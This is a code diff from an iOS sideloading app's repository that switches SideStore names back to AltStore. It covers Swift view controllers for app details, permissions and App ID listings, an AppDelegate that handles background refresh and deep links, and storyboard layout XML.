self._preferredStatusBarStyle = .default
}
navigationController?.setNeedsStatusBarAppearanceUpdate()
}
func hideNavigationBar(for navigationController: UINavigationController? = nil)
{
let navigationController = navigationController ?? self.navigationController
navigationController?.navigationBar.alpha = 0.0
self._preferredStatusBarStyle = .lightContent
navigationController?.setNeedsStatusBarAppearanceUpdate()
}
func prepareBlur()
{
if let animator = self.blurAnimator
{
animator.stopAnimation(true)
}
self.backgroundBlurView.effect = self._backgroundBlurEffect
self.backgroundBlurView.contentView.backgroundColor = self._backgroundBlurTintColor
self.blurAnimator = UIViewPropertyAnimator(duration: 1.0, curve: .linear) { [weak self] in
self?.backgroundBlurView.effect = nil
self?.backgroundBlurView.contentView.backgroundColor = .clear
}
self.blurAnimator?.startAnimation()
self.blurAnimator?.pauseAnimation()
}
func prepareNavigationBarAnimation()
{
self.resetNavigationBarAnimation()
self.navigationBarAnimator = UIViewPropertyAnimator(duration: 1.0, curve: .linear) { [weak self] in
self?.showNavigationBar()
self?.navigationController?.navigationBar.tintColor = self?.app.tintColor
self?.navigationController?.navigationBar.barTintColor = nil
self?.contentViewController.view.layer.cornerRadius = 0
}
self.navigationBarAnimator?.startAnimation()
self.navigationBarAnimator?.pauseAnimation()
self.update()
}
func resetNavigationBarAnimation()
{
self.navigationBarAnimator?.stopAnimation(true)
self.navigationBarAnimator = nil
self.hideNavigationBar()
self.contentViewController.view.layer.cornerRadius = self.contentViewControllerShadowView.layer.cornerRadius
}
}
extension AppViewController
{
@IBAction func popViewController(_ sender: UIButton)
{
self.navigationController?.popViewController(animated: true)
}
@IBAction func performAppAction(_ sender: PillButton)
{
if let installedApp = self.app.installedApp
{
self.open(installedApp)
}
else
{
self.downloadApp()
}
}
func downloadApp()
{
guard self.app.installedApp == nil else { return }
let group = AppManager.shared.install(self.app, presentingViewController: self) { (result) in
do
{
_ = try result.get()
}
catch OperationError.cancelled
{
// Ignore
}
catch
{
DispatchQueue.main.async {
let toastView = ToastView(error: error)
toastView.show(in: self)
}
}
DispatchQueue.main.async {
self.bannerView.button.progress = nil
self.navigationBarDownloadButton.progress = nil
self.update()
}
}
self.bannerView.button.progress = group.progress
self.navigationBarDownloadButton.progress = group.progress
}
func open(_ installedApp: InstalledApp)
{
UIApplication.shared.open(installedApp.openAppURL)
}
}
private extension AppViewController
{
@objc func didChangeApp(_ notification: Notification)
{
// Async so that AppManager.installationProgress(for:) is nil when we update.
DispatchQueue.main.async {
self.update()
}
}
@objc func willEnterForeground(_ notification: Notification)
{
guard let navigationController = self.navigationController, navigationController.topViewController == self else { return }
self._shouldResetLayout = true
self.view.setNeedsLayout()
}
@objc func didBecomeActive(_ notification: Notification)
{
guard let navigationController = self.navigationController, navigationController.topViewController == self else { return }
// Fixes Navigation Bar appearing after app becomes inactive -> active again.
self._shouldResetLayout = true
self.view.setNeedsLayout()
}
}
extension AppViewController: UIScrollViewDelegate
{
func scrollViewDidScroll(_ scrollView: UIScrollView)
{
self.view.setNeedsLayout()
self.view.layoutIfNeeded()
}
}

View File

@@ -8,18 +8,20 @@
import UIKit import UIKit
import SideStoreCore import AltStoreCore
final class PermissionPopoverViewController: UIViewController { final class PermissionPopoverViewController: UIViewController
{
var permission: AppPermission! var permission: AppPermission!
@IBOutlet private var nameLabel: UILabel! @IBOutlet private var nameLabel: UILabel!
@IBOutlet private var descriptionLabel: UILabel! @IBOutlet private var descriptionLabel: UILabel!
override func viewDidLoad() { override func viewDidLoad()
{
super.viewDidLoad() super.viewDidLoad()
nameLabel.text = permission.type.localizedName self.nameLabel.text = self.permission.type.localizedName
descriptionLabel.text = permission.usageDescription self.descriptionLabel.text = self.permission.usageDescription
} }
} }

View File

@@ -0,0 +1,241 @@
//
// AppIDsViewController.swift
// AltStore
//
// Created by Riley Testut on 1/27/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
import UIKit
import AltStoreCore
import Roxas
final class AppIDsViewController: UICollectionViewController
{
private lazy var dataSource = self.makeDataSource()
private var didInitialFetch = false
private var isLoading = false {
didSet {
self.update()
}
}
@IBOutlet var activityIndicatorBarButtonItem: UIBarButtonItem!
override func viewDidLoad()
{
super.viewDidLoad()
self.collectionView.dataSource = self.dataSource
self.activityIndicatorBarButtonItem.isIndicatingActivity = true
let refreshControl = UIRefreshControl()
refreshControl.addTarget(self, action: #selector(AppIDsViewController.fetchAppIDs), for: .primaryActionTriggered)
self.collectionView.refreshControl = refreshControl
}
override func viewWillAppear(_ animated: Bool)
{
super.viewWillAppear(animated)
if !self.didInitialFetch
{
self.fetchAppIDs()
}
}
}
private extension AppIDsViewController
{
func makeDataSource() -> RSTFetchedResultsCollectionViewDataSource<AppID>
{
let fetchRequest = AppID.fetchRequest() as NSFetchRequest<AppID>
fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \AppID.name, ascending: true),
NSSortDescriptor(keyPath: \AppID.bundleIdentifier, ascending: true),
NSSortDescriptor(keyPath: \AppID.expirationDate, ascending: true)]
fetchRequest.returnsObjectsAsFaults = false
if let team = DatabaseManager.shared.activeTeam()
{
fetchRequest.predicate = NSPredicate(format: "%K == %@", #keyPath(AppID.team), team)
}
else
{
fetchRequest.predicate = NSPredicate(value: false)
}
let dataSource = RSTFetchedResultsCollectionViewDataSource<AppID>(fetchRequest: fetchRequest, managedObjectContext: DatabaseManager.shared.viewContext)
dataSource.proxy = self
dataSource.cellConfigurationHandler = { (cell, appID, indexPath) in
let tintColor = UIColor.altPrimary
let cell = cell as! BannerCollectionViewCell
cell.layoutMargins.left = self.view.layoutMargins.left
cell.layoutMargins.right = self.view.layoutMargins.right
cell.tintColor = tintColor
cell.bannerView.iconImageView.isHidden = true
cell.bannerView.button.isIndicatingActivity = false
cell.bannerView.buttonLabel.text = NSLocalizedString("Expires in", comment: "")
let attributedAccessibilityLabel = NSMutableAttributedString(string: appID.name + ". ")
if let expirationDate = appID.expirationDate
{
cell.bannerView.button.isHidden = false
cell.bannerView.button.isUserInteractionEnabled = false
cell.bannerView.buttonLabel.isHidden = false
let currentDate = Date()
let numberOfDays = expirationDate.numberOfCalendarDays(since: currentDate)
let numberOfDaysText = (numberOfDays == 1) ? NSLocalizedString("1 day", comment: "") : String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
attributedAccessibilityLabel.mutableString.append(String(format: NSLocalizedString("Expires in %@.", comment: ""), numberOfDaysText) + " ")
}
else
{
cell.bannerView.button.isHidden = true
cell.bannerView.button.isUserInteractionEnabled = true
cell.bannerView.buttonLabel.isHidden = true
}
cell.bannerView.titleLabel.text = appID.name
cell.bannerView.subtitleLabel.text = appID.bundleIdentifier
cell.bannerView.subtitleLabel.numberOfLines = 2
let attributedBundleIdentifier = NSMutableAttributedString(string: appID.bundleIdentifier.lowercased(), attributes: [.accessibilitySpeechPunctuation: true])
if let team = appID.team, let range = attributedBundleIdentifier.string.range(of: team.identifier.lowercased()), #available(iOS 13, *)
{
// Prefer to speak the team ID one character at a time.
let nsRange = NSRange(range, in: attributedBundleIdentifier.string)
attributedBundleIdentifier.addAttributes([.accessibilitySpeechSpellOut: true], range: nsRange)
}
attributedAccessibilityLabel.append(attributedBundleIdentifier)
cell.bannerView.accessibilityAttributedLabel = attributedAccessibilityLabel
// Make sure refresh button is correct size.
cell.layoutIfNeeded()
}
return dataSource
}
@objc func fetchAppIDs()
{
guard !self.isLoading else { return }
self.isLoading = true
AppManager.shared.fetchAppIDs { (result) in
do
{
let (_, context) = try result.get()
try context.save()
}
catch
{
DispatchQueue.main.async {
let toastView = ToastView(error: error)
toastView.show(in: self)
}
}
DispatchQueue.main.async {
self.isLoading = false
}
}
}
func update()
{
if !self.isLoading
{
self.collectionView.refreshControl?.endRefreshing()
self.activityIndicatorBarButtonItem.isIndicatingActivity = false
}
}
}
extension AppIDsViewController: UICollectionViewDelegateFlowLayout
{
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize
{
return CGSize(width: collectionView.bounds.width, height: 80)
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, referenceSizeForHeaderInSection section: Int) -> CGSize
{
let indexPath = IndexPath(row: 0, section: section)
let headerView = self.collectionView(collectionView, viewForSupplementaryElementOfKind: UICollectionView.elementKindSectionHeader, at: indexPath)
// Use this view to calculate the optimal size based on the collection view's width
let size = headerView.systemLayoutSizeFitting(CGSize(width: collectionView.frame.width, height: UIView.layoutFittingExpandedSize.height),
withHorizontalFittingPriority: .required, // Width is fixed
verticalFittingPriority: .fittingSizeLevel) // Height can be as large as needed
return size
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, referenceSizeForFooterInSection section: Int) -> CGSize
{
return CGSize(width: collectionView.bounds.width, height: 50)
}
override func collectionView(_ collectionView: UICollectionView, viewForSupplementaryElementOfKind kind: String, at indexPath: IndexPath) -> UICollectionReusableView
{
switch kind
{
case UICollectionView.elementKindSectionHeader:
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: kind, withReuseIdentifier: "Header", for: indexPath) as! TextCollectionReusableView
headerView.layoutMargins.left = self.view.layoutMargins.left
headerView.layoutMargins.right = self.view.layoutMargins.right
if let activeTeam = DatabaseManager.shared.activeTeam(), activeTeam.type == .free
{
let text = NSLocalizedString("""
Each app and app extension installed with SideStore must register an App ID with Apple. Apple limits non-developer Apple IDs to 10 App IDs at a time.
**App IDs can't be deleted**, but they do expire after one week. SideStore will automatically renew App IDs for all active apps once they've expired.
""", comment: "")
let attributedText = NSAttributedString(markdownRepresentation: text, attributes: [.font: headerView.textLabel.font as Any])
headerView.textLabel.attributedText = attributedText
}
else
{
headerView.textLabel.text = NSLocalizedString("""
Each app and app extension installed with SideStore must register an App ID with Apple.
App IDs for paid developer accounts never expire, and there is no limit to how many you can create.
""", comment: "")
}
return headerView
case UICollectionView.elementKindSectionFooter:
let footerView = collectionView.dequeueReusableSupplementaryView(ofKind: kind, withReuseIdentifier: "Footer", for: indexPath) as! TextCollectionReusableView
let count = self.dataSource.itemCount
if count == 1
{
footerView.textLabel.text = NSLocalizedString("1 App ID", comment: "")
}
else
{
footerView.textLabel.text = String(format: NSLocalizedString("%@ App IDs", comment: ""), NSNumber(value: count))
}
return footerView
default: fatalError()
}
}
}

View File

@@ -6,23 +6,32 @@
// Copyright © 2019 Riley Testut. All rights reserved. // Copyright © 2019 Riley Testut. All rights reserved.
// //
import AVFoundation
import Intents
import UIKit import UIKit
import UserNotifications import UserNotifications
import OSLog import AVFoundation
#if canImport(Logging) import Intents
import Logging
#endif
import AltStoreCore
import AltSign import AltSign
import SideStoreCore import Roxas
import SideStoreAppKit
import EmotionalDamage import EmotionalDamage
import RoxasUIKit
extension AppDelegate
{
static let openPatreonSettingsDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".OpenPatreonSettingsDeepLinkNotification")
static let importAppDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".ImportAppDeepLinkNotification")
static let addSourceDeepLinkNotification = Notification.Name(Bundle.Info.appbundleIdentifier + ".AddSourceDeepLinkNotification")
static let appBackupDidFinish = Notification.Name(Bundle.Info.appbundleIdentifier + ".AppBackupDidFinish")
static let importAppDeepLinkURLKey = "fileURL"
static let appBackupResultKey = "result"
static let addSourceDeepLinkURLKey = "sourceURL"
}
@UIApplicationMain @UIApplicationMain
final class AppDelegate: SideStoreAppDelegate { final class AppDelegate: UIResponder, UIApplicationDelegate {
var window: UIWindow? var window: UIWindow?
@available(iOS 14, *) @available(iOS 14, *)
@@ -47,27 +56,30 @@ final class AppDelegate: SideStoreAppDelegate {
return ViewAppIntentHandler() return ViewAppIntentHandler()
}() }()
func application(_: UIApplication, didFinishLaunchingWithOptions _: [UIApplication.LaunchOptionsKey: Any]?) -> Bool { func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
{
// Register default settings before doing anything else. // Register default settings before doing anything else.
UserDefaults.registerDefaults() UserDefaults.registerDefaults()
DatabaseManager.shared.start { error in DatabaseManager.shared.start { (error) in
if let error = error { if let error = error
os_log("Failed to start DatabaseManager. Error: %@", type: .error , error.localizedDescription) {
} else { print("Failed to start DatabaseManager. Error:", error as Any)
os_log("Started DatabaseManager.", type: .info) }
let transformer = ALTAppPermissionTypeTransformer() else
ValueTransformer.setValueTransformer(transformer, forName: NSValueTransformerName(rawValue: "ALTAppPermissionTypeTransformer")) {
print("Started DatabaseManager.")
} }
} }
AnalyticsManager.shared.start() AnalyticsManager.shared.start()
setTintColor() self.setTintColor()
SecureValueTransformer.register() SecureValueTransformer.register()
if UserDefaults.standard.firstLaunch == nil { if UserDefaults.standard.firstLaunch == nil
{
Keychain.shared.reset() Keychain.shared.reset()
UserDefaults.standard.firstLaunch = Date() UserDefaults.standard.firstLaunch = Date()
} }
@@ -78,67 +90,81 @@ final class AppDelegate: SideStoreAppDelegate {
UserDefaults.standard.isDebugModeEnabled = true UserDefaults.standard.isDebugModeEnabled = true
#endif #endif
prepareForBackgroundFetch() self.prepareForBackgroundFetch()
return true return true
} }
func applicationDidEnterBackground(_: UIApplication) { func applicationDidEnterBackground(_ application: UIApplication)
{
// Make sure to update SceneDelegate.sceneDidEnterBackground() as well. // Make sure to update SceneDelegate.sceneDidEnterBackground() as well.
guard let oneMonthAgo = Calendar.current.date(byAdding: .month, value: -1, to: Date()) else { return } guard let oneMonthAgo = Calendar.current.date(byAdding: .month, value: -1, to: Date()) else { return }
let midnightOneMonthAgo = Calendar.current.startOfDay(for: oneMonthAgo) let midnightOneMonthAgo = Calendar.current.startOfDay(for: oneMonthAgo)
DatabaseManager.shared.purgeLoggedErrors(before: midnightOneMonthAgo) { result in DatabaseManager.shared.purgeLoggedErrors(before: midnightOneMonthAgo) { result in
switch result { switch result
{
case .success: break case .success: break
case let .failure(error): os_log("[ALTLog] Failed to purge logged errors before %@. %@", type: .error , midnightOneMonthAgo.debugDescription, error.localizedDescription) case .failure(let error): print("[ALTLog] Failed to purge logged errors before \(midnightOneMonthAgo).", error)
}
} }
} }
func applicationWillEnterForeground(_: UIApplication) { }
func applicationWillEnterForeground(_ application: UIApplication)
{
AppManager.shared.update() AppManager.shared.update()
start_em_proxy(bind_addr: Consts.Proxy.serverURL) start_em_proxy(bind_addr: Consts.Proxy.serverURL)
} }
func application(_: UIApplication, open url: URL, options _: [UIApplication.OpenURLOptionsKey: Any]) -> Bool { func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any]) -> Bool
open(url) {
return self.open(url)
} }
func application(_: UIApplication, handlerFor intent: INIntent) -> Any? { func application(_ application: UIApplication, handlerFor intent: INIntent) -> Any?
{
guard #available(iOS 14, *) else { return nil } guard #available(iOS 14, *) else { return nil }
switch intent { switch intent
case is RefreshAllIntent: return intentHandler {
case is ViewAppIntent: return viewAppIntentHandler case is RefreshAllIntent: return self.intentHandler
case is ViewAppIntent: return self.viewAppIntentHandler
default: return nil default: return nil
} }
} }
} }
@available(iOS 13, *) @available(iOS 13, *)
extension AppDelegate { extension AppDelegate
func application(_: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options _: UIScene.ConnectionOptions) -> UISceneConfiguration { {
func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -> UISceneConfiguration
{
// Called when a new scene session is being created. // Called when a new scene session is being created.
// Use this method to select a configuration to create the new scene with. // Use this method to select a configuration to create the new scene with.
UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role) return UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role)
} }
func application(_: UIApplication, didDiscardSceneSessions _: Set<UISceneSession>) { func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set<UISceneSession>)
{
// Called when the user discards a scene session. // Called when the user discards a scene session.
// If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions. // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions.
// Use this method to release any resources that were specific to the discarded scenes, as they will not return. // Use this method to release any resources that were specific to the discarded scenes, as they will not return.
} }
} }
private extension AppDelegate { private extension AppDelegate
func setTintColor() { {
window?.tintColor = .altPrimary func setTintColor()
{
self.window?.tintColor = .altPrimary
} }
func open(_ url: URL) -> Bool { func open(_ url: URL) -> Bool
if url.isFileURL { {
if url.isFileURL
{
guard url.pathExtension.lowercased() == "ipa" else { return false } guard url.pathExtension.lowercased() == "ipa" else { return false }
DispatchQueue.main.async { DispatchQueue.main.async {
@@ -146,11 +172,14 @@ private extension AppDelegate {
} }
return true return true
} else { }
else
{
guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false) else { return false } guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false) else { return false }
guard let host = components.host?.lowercased() else { return false } guard let host = components.host?.lowercased() else { return false }
switch host { switch host
{
case "patreon": case "patreon":
DispatchQueue.main.async { DispatchQueue.main.async {
NotificationCenter.default.post(name: AppDelegate.openPatreonSettingsDeepLinkNotification, object: nil) NotificationCenter.default.post(name: AppDelegate.openPatreonSettingsDeepLinkNotification, object: nil)
@@ -161,7 +190,8 @@ private extension AppDelegate {
case "appbackupresponse": case "appbackupresponse":
let result: Result<Void, Error> let result: Result<Void, Error>
switch url.path.lowercased() { switch url.path.lowercased()
{
case "/success": result = .success(()) case "/success": result = .success(())
case "/failure": case "/failure":
let queryItems = components.queryItems?.reduce(into: [String: String]()) { $0[$1.name] = $1.value } ?? [:] let queryItems = components.queryItems?.reduce(into: [String: String]()) { $0[$1.name] = $1.value } ?? [:]
@@ -207,12 +237,14 @@ private extension AppDelegate {
} }
} }
extension AppDelegate { extension AppDelegate
private func prepareForBackgroundFetch() { {
private func prepareForBackgroundFetch()
{
// "Fetch" every hour, but then refresh only those that need to be refreshed (so we don't drain the battery). // "Fetch" every hour, but then refresh only those that need to be refreshed (so we don't drain the battery).
UIApplication.shared.setMinimumBackgroundFetchInterval(1 * 60 * 60) UIApplication.shared.setMinimumBackgroundFetchInterval(1 * 60 * 60)
UNUserNotificationCenter.current().requestAuthorization(options: [.alert, .badge, .sound]) { _, _ in UNUserNotificationCenter.current().requestAuthorization(options: [.alert, .badge, .sound]) { (success, error) in
} }
#if DEBUG #if DEBUG
@@ -220,22 +252,25 @@ extension AppDelegate {
#endif #endif
} }
func application(_: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: Data) func application(_ application: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: Data)
{ {
let tokenParts = deviceToken.map { data -> String in let tokenParts = deviceToken.map { data -> String in
String(format: "%02.2hhx", data) return String(format: "%02.2hhx", data)
} }
let token = tokenParts.joined() let token = tokenParts.joined()
os_log("Push Token: %@", type: .debug , token) print("Push Token:", token)
} }
func application(_ application: UIApplication, didReceiveRemoteNotification _: [AnyHashable: Any], fetchCompletionHandler completionHandler: @escaping (UIBackgroundFetchResult) -> Void) { func application(_ application: UIApplication, didReceiveRemoteNotification userInfo: [AnyHashable : Any], fetchCompletionHandler completionHandler: @escaping (UIBackgroundFetchResult) -> Void)
{
self.application(application, performFetchWithCompletionHandler: completionHandler) self.application(application, performFetchWithCompletionHandler: completionHandler)
} }
func application(_: UIApplication, performFetchWithCompletionHandler backgroundFetchCompletionHandler: @escaping (UIBackgroundFetchResult) -> Void) { func application(_ application: UIApplication, performFetchWithCompletionHandler backgroundFetchCompletionHandler: @escaping (UIBackgroundFetchResult) -> Void)
if UserDefaults.standard.isBackgroundRefreshEnabled && !UserDefaults.standard.presentedLaunchReminderNotification { {
if UserDefaults.standard.isBackgroundRefreshEnabled && !UserDefaults.standard.presentedLaunchReminderNotification
{
let threeHours: TimeInterval = 3 * 60 * 60 let threeHours: TimeInterval = 3 * 60 * 60
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: threeHours, repeats: false) let trigger = UNTimeIntervalNotificationTrigger(timeInterval: threeHours, repeats: false)
@@ -249,31 +284,38 @@ extension AppDelegate {
UserDefaults.standard.presentedLaunchReminderNotification = true UserDefaults.standard.presentedLaunchReminderNotification = true
} }
BackgroundTaskManager.shared.performExtendedBackgroundTask { taskResult, taskCompletionHandler in BackgroundTaskManager.shared.performExtendedBackgroundTask { (taskResult, taskCompletionHandler) in
if let error = taskResult.error { if let error = taskResult.error
os_log("Error starting extended background task. Aborting. %@", type: .error, error.localizedDescription) {
print("Error starting extended background task. Aborting.", error)
backgroundFetchCompletionHandler(.failed) backgroundFetchCompletionHandler(.failed)
taskCompletionHandler() taskCompletionHandler()
return return
} }
if !DatabaseManager.shared.isStarted { if !DatabaseManager.shared.isStarted
DatabaseManager.shared.start { error in {
if error != nil { DatabaseManager.shared.start() { (error) in
if error != nil
{
backgroundFetchCompletionHandler(.failed) backgroundFetchCompletionHandler(.failed)
taskCompletionHandler() taskCompletionHandler()
} else { }
self.performBackgroundFetch { backgroundFetchResult in else
{
self.performBackgroundFetch { (backgroundFetchResult) in
backgroundFetchCompletionHandler(backgroundFetchResult) backgroundFetchCompletionHandler(backgroundFetchResult)
} refreshAppsCompletionHandler: { _ in } refreshAppsCompletionHandler: { (refreshAppsResult) in
taskCompletionHandler() taskCompletionHandler()
} }
} }
} }
} else { }
self.performBackgroundFetch { backgroundFetchResult in else
{
self.performBackgroundFetch { (backgroundFetchResult) in
backgroundFetchCompletionHandler(backgroundFetchResult) backgroundFetchCompletionHandler(backgroundFetchResult)
} refreshAppsCompletionHandler: { _ in } refreshAppsCompletionHandler: { (refreshAppsResult) in
taskCompletionHandler() taskCompletionHandler()
} }
} }
@@ -281,31 +323,37 @@ extension AppDelegate {
} }
func performBackgroundFetch(backgroundFetchCompletionHandler: @escaping (UIBackgroundFetchResult) -> Void, func performBackgroundFetch(backgroundFetchCompletionHandler: @escaping (UIBackgroundFetchResult) -> Void,
refreshAppsCompletionHandler: @escaping (Result<[String: Result<InstalledApp, Error>], Error>) -> Void) { refreshAppsCompletionHandler: @escaping (Result<[String: Result<InstalledApp, Error>], Error>) -> Void)
fetchSources { result in {
switch result { self.fetchSources { (result) in
switch result
{
case .failure: backgroundFetchCompletionHandler(.failed) case .failure: backgroundFetchCompletionHandler(.failed)
case .success: backgroundFetchCompletionHandler(.newData) case .success: backgroundFetchCompletionHandler(.newData)
} }
if !UserDefaults.standard.isBackgroundRefreshEnabled { if !UserDefaults.standard.isBackgroundRefreshEnabled
{
refreshAppsCompletionHandler(.success([:])) refreshAppsCompletionHandler(.success([:]))
} }
} }
guard UserDefaults.standard.isBackgroundRefreshEnabled else { return } guard UserDefaults.standard.isBackgroundRefreshEnabled else { return }
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
let installedApps = InstalledApp.fetchAppsForBackgroundRefresh(in: context) let installedApps = InstalledApp.fetchAppsForBackgroundRefresh(in: context)
AppManager.shared.backgroundRefresh(installedApps, completionHandler: refreshAppsCompletionHandler) AppManager.shared.backgroundRefresh(installedApps, completionHandler: refreshAppsCompletionHandler)
} }
} }
} }
private extension AppDelegate { private extension AppDelegate
func fetchSources(completionHandler: @escaping (Result<Set<Source>, Error>) -> Void) { {
AppManager.shared.fetchSources { result in func fetchSources(completionHandler: @escaping (Result<Set<Source>, Error>) -> Void)
do { {
AppManager.shared.fetchSources() { (result) in
do
{
let (sources, context) = try result.get() let (sources, context) = try result.get()
let previousUpdatesFetchRequest = InstalledApp.updatesFetchRequest() as! NSFetchRequest<NSFetchRequestResult> let previousUpdatesFetchRequest = InstalledApp.updatesFetchRequest() as! NSFetchRequest<NSFetchRequestResult>
@@ -329,7 +377,8 @@ private extension AppDelegate {
let updates = try context.fetch(updatesFetchRequest) let updates = try context.fetch(updatesFetchRequest)
let newsItems = try context.fetch(newsItemsFetchRequest) let newsItems = try context.fetch(newsItemsFetchRequest)
for update in updates { for update in updates
{
guard !previousUpdates.contains(where: { $0[#keyPath(InstalledApp.bundleIdentifier)] == update.bundleIdentifier }) else { continue } guard !previousUpdates.contains(where: { $0[#keyPath(InstalledApp.bundleIdentifier)] == update.bundleIdentifier }) else { continue }
guard let storeApp = update.storeApp, let version = storeApp.version else { continue } guard let storeApp = update.storeApp, let version = storeApp.version else { continue }
@@ -342,15 +391,19 @@ private extension AppDelegate {
UNUserNotificationCenter.current().add(request) UNUserNotificationCenter.current().add(request)
} }
for newsItem in newsItems { for newsItem in newsItems
{
guard !previousNewsItems.contains(where: { $0[#keyPath(NewsItem.identifier)] == newsItem.identifier }) else { continue } guard !previousNewsItems.contains(where: { $0[#keyPath(NewsItem.identifier)] == newsItem.identifier }) else { continue }
guard !newsItem.isSilent else { continue } guard !newsItem.isSilent else { continue }
let content = UNMutableNotificationContent() let content = UNMutableNotificationContent()
if let app = newsItem.storeApp { if let app = newsItem.storeApp
{
content.title = String(format: NSLocalizedString("%@ News", comment: ""), app.name) content.title = String(format: NSLocalizedString("%@ News", comment: ""), app.name)
} else { }
else
{
content.title = NSLocalizedString("SideStore News", comment: "") content.title = NSLocalizedString("SideStore News", comment: "")
} }
@@ -366,8 +419,10 @@ private extension AppDelegate {
} }
completionHandler(.success(sources)) completionHandler(.success(sources))
} catch { }
os_log("Error fetching apps: %@", type: .error, error.localizedDescription) catch
{
print("Error fetching apps:", error)
completionHandler(.failure(error)) completionHandler(.failure(error))
} }
} }

View File

@@ -1,9 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="21507" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES"> <document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="20037" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES">
<device id="retina6_12" orientation="portrait" appearance="light"/> <device id="retina4_7" orientation="portrait" appearance="light"/>
<dependencies> <dependencies>
<deployment identifier="iOS"/> <deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21505"/> <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="20020"/>
<capability name="Named colors" minToolsVersion="9.0"/> <capability name="Named colors" minToolsVersion="9.0"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/> <capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/> <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
@@ -12,9 +12,9 @@
<!--Navigation Controller--> <!--Navigation Controller-->
<scene sceneID="lNR-II-WoW"> <scene sceneID="lNR-II-WoW">
<objects> <objects>
<navigationController storyboardIdentifier="navigationController" useStoryboardIdentifierAsRestorationIdentifier="YES" id="ZTo-53-dSL" sceneMemberID="viewController"> <navigationController storyboardIdentifier="navigationController" id="ZTo-53-dSL" sceneMemberID="viewController">
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" barStyle="black" largeTitles="YES" id="Aej-RF-PfV" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target"> <navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" barStyle="black" largeTitles="YES" id="Aej-RF-PfV" customClass="NavigationBar" customModule="AltStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="59" width="393" height="96"/> <rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/> <autoresizingMask key="autoresizingMask"/>
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/> <color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<color key="barTintColor" name="SettingsBackground"/> <color key="barTintColor" name="SettingsBackground"/>
@@ -36,34 +36,34 @@
<!--Authentication View Controller--> <!--Authentication View Controller-->
<scene sceneID="OCd-xc-Ms7"> <scene sceneID="OCd-xc-Ms7">
<objects> <objects>
<viewController storyboardIdentifier="authenticationViewController" useStoryboardIdentifierAsRestorationIdentifier="YES" id="yO1-iT-7NP" customClass="AuthenticationViewController" customModule="SideStoreAppKit" sceneMemberID="viewController"> <viewController storyboardIdentifier="authenticationViewController" id="yO1-iT-7NP" customClass="AuthenticationViewController" customModule="AltStore" customModuleProvider="target" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="mjy-4S-hyH"> <view key="view" contentMode="scaleToFill" id="mjy-4S-hyH">
<rect key="frame" x="0.0" y="0.0" width="393" height="852"/> <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews> <subviews>
<view hidden="YES" userInteractionEnabled="NO" contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="oyW-Fd-ojD" userLabel="Sizing View"> <view hidden="YES" userInteractionEnabled="NO" contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="oyW-Fd-ojD" userLabel="Sizing View">
<rect key="frame" x="0.0" y="103" width="393" height="715"/> <rect key="frame" x="0.0" y="44" width="375" height="623"/>
</view> </view>
